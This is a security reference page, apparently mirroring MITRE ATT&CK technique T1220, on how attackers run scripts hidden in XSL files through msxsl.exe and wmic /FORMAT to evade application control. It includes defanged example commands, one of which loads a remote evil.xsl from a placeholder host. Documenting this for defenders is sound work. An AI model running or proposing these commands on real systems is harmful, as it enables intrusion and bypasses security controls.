XSL Script Processing

Created the Tuesday 21 March 2023. Updated 1 year, 1 month ago.

Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages.

Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to Trusted Developer Utilities Proxy Execution, the Microsoft common line transformation utility binary (msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.

Command-line examples:

msxsl.exe customers[.]xml script[.]xsl msxsl.exe script[.]xsl script[.]xsl msxsl.exe script[.]jpeg script[.]jpeg Another variation of this technique, dubbed "Squiblytwo", involves using Windows Management Instrumentation to invoke JScript or VBScript within an XSL file. This technique can also execute local/remote scripts and, similar to its Regsvr32/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in Windows Management Instrumentation provided they utilize the /FORMAT switch. Command-line examples:

Local File: wmic process list /FORMAT:evil[.]xsl Remote File: wmic os get /FORMAT:"https[:]//example[.]com/evil[.]xsl"

Technique Identifier

T1220

Technique Tags

Defense Evasion bypass application control Extensible Stylesheet Language (XSL) execute arbitrary files Microsoft common line transformation utility binary (msxsl.exe) execute malicious embedded JavaScript XSL files Squiblytwo Windows Management Instrumentation /FORMAT

Additional Resources

External Links

The resources provided below are associated links that will give you even more detailed information and research on current evasion technique. It is important to note that, while these resources may be helpful, it is important to exercise caution when following external links. As always, be careful when clicking on links from unknown sources, as they may lead to malicious content.

XSL Script Processing, Technique T1220 - Enterprise | MITRE ATT&CK®